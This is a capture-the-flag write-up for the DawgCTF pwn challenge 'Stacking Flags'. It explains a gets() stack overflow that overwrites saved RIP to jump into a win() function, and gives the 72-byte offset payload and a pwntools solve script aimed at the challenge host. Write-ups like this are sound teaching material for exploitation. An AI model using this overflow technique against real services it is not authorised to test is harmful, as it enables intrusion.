Stacking Flags
Stacking Flags
Platform: CUSTOM | Category: Pwn | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: ret2win, saved_rip_overwrite
Summary
Walkthrough of the CUSTOM Pwn Stacking Flags. Task: a remote service runs a non-PIE binary with a 64-byte stack buffer fed by gets() and a hidden win() routine that prints the flag. Solution: overflow 72 bytes to overwrite saved RIP with the fixe
Challenge
A server at nc.umbccd.net:8921 is hosting the same code, but theirs has a flag, retrieve it. https://github.com/UMBCCyberDawgs/dawgctf-sp26/tree/main/Stacking%20flags
We are given the source for a small 64-bit ELF and a remote host running the same program. The goal is to redirect execution into the hidden win() function, which opens flag.txt, prints its contents, and exits.
Analysis
The vulnerability is immediate: vulnerable_function() allocates a 64-byte stack buffer and calls gets(buffer). Since gets() performs no bounds checking, we can overwrite saved control data on the stack.
Several binary properties make this a textbook ret2win:
- Stack canaries are disabled by
-fno-stack-protector. - PIE is disabled by
-no-pie, sowin()has a stable address. - NX is irrelevant because we do not need shellcode; we only need to return into an existing function.
On x86_64, the overwrite distance to saved RIP is 72 bytes: 64 bytes for the buffer and 8 bytes for saved RBP. The remote banner confirmed win() at 0x4011a6, so the payload is simply padding followed by that address in little-endian form.
Exploitation
- Connect to
nc.umbccd.net:8921. - Send
b"A" * 72 + p64(0x4011a6). - When
vulnerable_function()returns, execution jumps towin()instead of back tomain(). win()readsflag.txtand prints the flag.
Benign input only reaches the normal program output:
text read-only • copy allowedwin() is at: 0x4011a6 Better luck next time!
With the crafted payload, the service returns:
text read-only • copy allowedDawgCTF{REDACTED}
Solve Script
python read-only • copy allowed#!/usr/bin/env python3 from pwn import * HOST = "nc.umbccd.net" PORT = 8921 WIN = 0x4011A6 OFFSET = 72 def main(): io = remote(HOST, PORT) payload = b"A" * OFFSET + p64(WIN) io.sendline(payload) io.interactive() if __name__ == "__main__": main()
Key Takeaways / Lessons
- Mastering ret2win, saved_rip_overwrite was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-04-10 • CUSTOM • Stacking Flags • Difficulty: Easy